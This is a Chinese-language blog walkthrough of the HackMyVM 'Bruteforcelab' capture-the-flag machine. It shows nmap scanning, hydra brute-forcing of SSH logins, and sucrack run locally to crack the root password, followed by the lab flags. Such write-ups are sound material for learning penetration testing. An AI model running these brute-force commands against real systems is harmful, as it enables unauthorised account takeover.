Loading

[HMV] Bruteforcelab

image-20230406211758223

Intended for practicing bruteforce and SMB service exploitation.

0x00 配置

攻击机 IP: 192.168.10.27

靶机 IP: 192.168.10.28


0x01 攻击

使用 Nmap 扫描目标靶机开放的端口

┌──(root㉿Kali)-[~]
└─# nmap -p- 192.168.10.28 
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 192.168.10.28
Host is up (0.00036s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
10000/tcp open  snet-sensor-mgmt
19000/tcp open  igrid
19222/tcp open  unknown
MAC Address: 08:00:27:7B:3E:46 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds

我们发现了 4 个端口

端口 描述
22 SSH
10000 snet-sensor-mgmt (Webmin Panel)
19000 igrd (seems to be related to the database)
19222 Unknown

我们找到了一个 Webmin 面板

image-20230406212859310

我尝试使用一些脚本来攻击 Webmin 面板,但始终没有成功。在不知道 19000、19222 端口的具体作用下,我把目光转向了 22 端口,希望可以直接得到 SSH。我们在虚拟机的登录页面可以发现两个用户名,mattia 和 andrea

image-20230406213255739

使用 hydra 工具爆破 SSH,为了快一点,我开启了 3 个会话,分别用来攻击 mattia、andrea,以防万一,我还在同时攻击 root 用户

┌──(root㉿Kali)-[~]
└─# hydra -l andrea -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://192.168.10.28 -t 64 -V -f -I

...

┌──(root㉿Kali)-[~]
└─# hydra -l mattia -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://192.168.10.28 -t 64 -V -f -I

...

┌──(root㉿Kali)-[~]
└─# hydra -l root -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt ssh://192.168.10.28 -t 64 -V -f -I

一个好的字典总能让枚举工作事半功倍,几分钟之后,攻击 andrea 的会话就完成了,我们得到了 andrea 用户的密码

[22][ssh] host: 192.168.10.28   login: andrea   password: awesome
[STATUS] attack finished for 192.168.10.28 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

得到了 andrea 的密码后,我们在 SSH 中登录。首先查看虚拟机中我们可以使用的用户

andrea@LAB-Bruteforce:~$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
mattia:x:1000:1000:mattia,,,:/home/mattia:/bin/bash
andrea:x:1001:1001:,,,:/home/andrea:/bin/bash

3 个用户都是已知用户。查看一下具有 SUID 权限的文件

andrea@LAB-Bruteforce:~$ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/ntfs-3g

没有发现可以利用的程序,我们也无法运行 Sudo

andrea@LAB-Bruteforce:~$ sudo -l
[sudo] password for andrea: 
Sorry, user andrea may not run sudo on Lab-Bruteforce.

在检查 Samba 服务器和 Webmin 的配置后,依旧没有发现可以利用的地方。在询问 @sML 后得到了提示,可以使用 sucrack 工具爆破本地用户。sucrack 工具并不包含在预装程序里,我们需要从 Github 下载它,然后通过简易 HTTP 服务器或者 SFTP 将源码传到虚拟机中,最后编译得到可执行文件

andrea@LAB-Bruteforce:/tmp$ wget 192.168.10.24/sucrack-master.zip

...

andrea@LAB-Bruteforce:/tmp$ unzip sucrack-master.zip

...

andrea@LAB-Bruteforce:/tmp$ cd sucrack-master
andrea@LAB-Bruteforce:/tmp/sucrack-master$ ./configure

...

andrea@LAB-Bruteforce:/tmp/sucrack-master$ make

等待编译完成后,我们可以在 ./src 目录找到可执行文件 sucrack

andrea@LAB-Bruteforce:/tmp/sucrack-master/src$ ls -al
total 420

...

-rwxr-xr-x 1 andrea andrea 77328 Apr  6 12:27 sucrack

...

我们再下载字典文件到虚拟机中

andrea@LAB-Bruteforce:/tmp/sucrack-master/src$ wget 192.168.10.27/xato-net-10-million-passwords-10000.txt

然后,使用 sucrack 工具爆破本地用户的密码。为了快一点,我同样开启了 2 个会话

andrea@LAB-Bruteforce:/tmp/sucrack-master/src$ ./sucrack -u root -w 16 ./xato-net-10-million-passwords-10000.txt

...

andrea@LAB-Bruteforce:/tmp/sucrack-master/src$ ./sucrack -u mattia -w 16 ./xato-net-10-million-passwords-10000.txt

更多的线程就是更多的力量,只花了几十秒,我们就得到了 root 的密码

andrea@LAB-Bruteforce:/tmp/sucrack-master/src$ ./sucrack -w 256 -u root ./xato-net-10-million-passwords-10000.txt 
password is: 1998

最后我们登录到 root 用户,查看 flag

root@LAB-Bruteforce:/home/andrea# find / -name user.txt 2>/dev/null
/home/andrea/user.txt

root@LAB-Bruteforce:/home/andrea# find / -name root.txt 2>/dev/null
/root/root.txt

root@LAB-Bruteforce:/home/andrea# cat /home/andrea/user.txt
d5eb7d8b6f57c295e0bedf7eef531360

root@LAB-Bruteforce:/home/andrea# cat /root/root.txt 
Congratulations.

d2f74ec1ca3e40f6fa07f62d42eb9ea5

0x02 总结

对于大量的枚举工作,rockyou.txt 显得不那么适合,因为它太大了。更加精炼的字典能让枚举事半功倍;

还有,线程有多少,力量就有多少。

posted @ 2023-04-06 22:09  20206675  阅读(262)  评论(1编辑  收藏  举报